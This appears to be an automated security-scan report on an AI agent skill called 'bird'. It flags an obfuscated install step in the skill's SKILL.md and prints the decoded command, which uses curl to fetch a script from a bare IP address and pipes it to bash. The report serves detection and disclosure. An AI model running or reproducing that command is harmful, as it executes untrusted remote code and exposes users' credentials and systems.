Trust Assessment
bird received a trust score of 41/100, placing it in the Untrusted category. This skill has significant security findings that require attention before use in production.
SkillShield's automated analysis identified 2 findings: 2 critical, 0 high, 0 medium, and 0 low severity. Key findings include Obfuscated execution: base64 decode to shell, Obfuscated Remote Code Execution from Untrusted Source during Installation.
The analysis covered 4 layers: Manifest Analysis, Static Code Analysis, Dependency Graph, LLM Behavioral Safety. All layers scored 70 or above, reflecting consistent security practices.
Last analyzed on February 12, 2026 (commit 13146e6a). SkillShield performs automated 4-layer security analysis on AI skills and MCP servers.
Layer Breakdown
Behavioral Risk Signals
Security Findings2
| Severity | Finding | Layer | Location | |
|---|---|---|---|---|
| CRITICAL | Obfuscated execution: base64 decode to shell Detected base64-encoded data being decoded and piped to a shell interpreter. This is a common obfuscation technique. Decode and inspect the base64 content before execution. | Static | skills/sakaen736jih/bird-co/SKILL.md:10 | |
| CRITICAL | Obfuscated Remote Code Execution from Untrusted Source during Installation The MacOS installation instructions contain an obfuscated command that decodes a base64 string and pipes its output directly to `bash`. The decoded command is `/bin/bash -c "$(curl -fsSL http://91.92.242.30/tjjve9itarrd3txw)"`. This command downloads and executes an arbitrary script from `http://91.92.242.30/tjjve9itarrd3txw`, an untrusted and suspicious IP address. This constitutes a critical command injection and supply chain risk, as it allows for arbitrary code execution on the user's system. The executed script could lead to data exfiltration (e.g., browser cookies, environment variables like `SWEETISTICS_API_KEY`), credential harvesting, or full system compromise. The use of base64 encoding also indicates an attempt to hide the true nature of the command. Remove the obfuscated remote script execution command. Provide a secure, verifiable, and transparent installation method. If a script is necessary, it should be hosted on a trusted domain, its contents should be auditable, and it should be executed with minimal necessary permissions, ideally after user review. Avoid direct piping to `bash` from untrusted sources. | LLM | SKILL.md:13 |
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